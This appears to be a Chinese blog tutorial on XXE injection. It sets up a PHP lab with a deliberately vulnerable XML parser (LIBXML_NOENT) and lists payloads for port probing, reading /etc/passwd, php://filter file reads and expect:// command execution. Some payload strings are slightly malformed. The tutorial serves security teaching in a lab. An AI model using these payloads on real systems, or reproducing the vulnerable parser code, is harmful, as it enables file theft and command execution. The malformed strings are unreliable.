赞
踩
XML 语言全称为可扩展标记语言,与 HTML 超文本标签语言类似,而这两个的区别在于作用与使用方法:HTML
主要用来显示数据,而 XML 主要用于传输和存储数据.HTML 的使用方法有固定的格式,即只能使用自带的标
签,而 XML 则是使用自定义标签.
XXE 外部实体注入漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,从而导致会加载恶意
外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 Dos 攻击等危害。
XXE 漏洞触发的点往往是可以上传 xml 文件的位置,没有对上传的 xml 文件进行过滤,导致可上传恶意 xml
文件。
环境安装:系统为 CentOs7
//安装操作系统 expect
//安装 tcl 软件包以及相应的开发文件
//安装 expect 软件包以及相应的开发文档
phpize
./configure
make
make install
extension=expect.so(配置文件所在地址:/etc/php.ini)
systemctl restart httpd
10 检测是否安装成功
进入/var/www/html 目录当中,创建一个 php 文件(文件名自取),在该文件当中写入<?php phpinfo()?>
然后去访问该虚拟机的 IP 地址下的该 php 文件,即 http://该虚拟机 ip 地址/该 php 文件即可.
成功后出现如下页面当出现该页面后
ctrl+F 搜索 expect,出现如下页面,即显示环境搭建成功,进而可以开始实验
1.进入到/var/www/html 中,创建任意一个 php 文件(文件名自取),在其中输入以下代码
<?php
header("content-type:text/html;charset=utf-8");
date_default_timezone_set("PRC");
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);
echo date('Y-m-d H:i:s',time())."\n\r";
echo $xml;
?>
2. 去访问该文件(访问地址为 http://该虚拟机 ip 地址/该 php 文件),同时使用 Burp Suite 进行抓包,将
抓到的包放到重放模块(Repeater),然后进行实验.
该包数据紧挨着,有可能会造成 xml 代码无法解析.最好空一行再输入 xml 代码,如图:
端口检测:
这个实验效果不建议使用该方法进行,因为端口开启与关闭的效果差别不明显
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://192.168.235.128:80">
]>
<note>&xxe;</note>
文件读取:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [ <!ENTITY xxe SYSTEM "file:etc/passwd"> ]>
<abc>&xxe;</abc>
php 伪协议文件读取:
<?xml version="1.0"?>
<!DOCTYPE abc [ <!ENTITY xxe SYSTEM "php://filter/convert.base64encode/resource=/etc/passwd" > ]>
<abc>&xxe;</abc>
命令执行:
<?xml version="1.0"?>
<!DOCTYPE abc [ <!ENTITY xxe SYSTEM "expect://pwd " > ]>
<abc>&xxe;</abc>
但注意,我们所登录的用户是 apache,它所拥有的权限有限制,大多数操作无法进行,例如创建文件等.
赞
踩
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。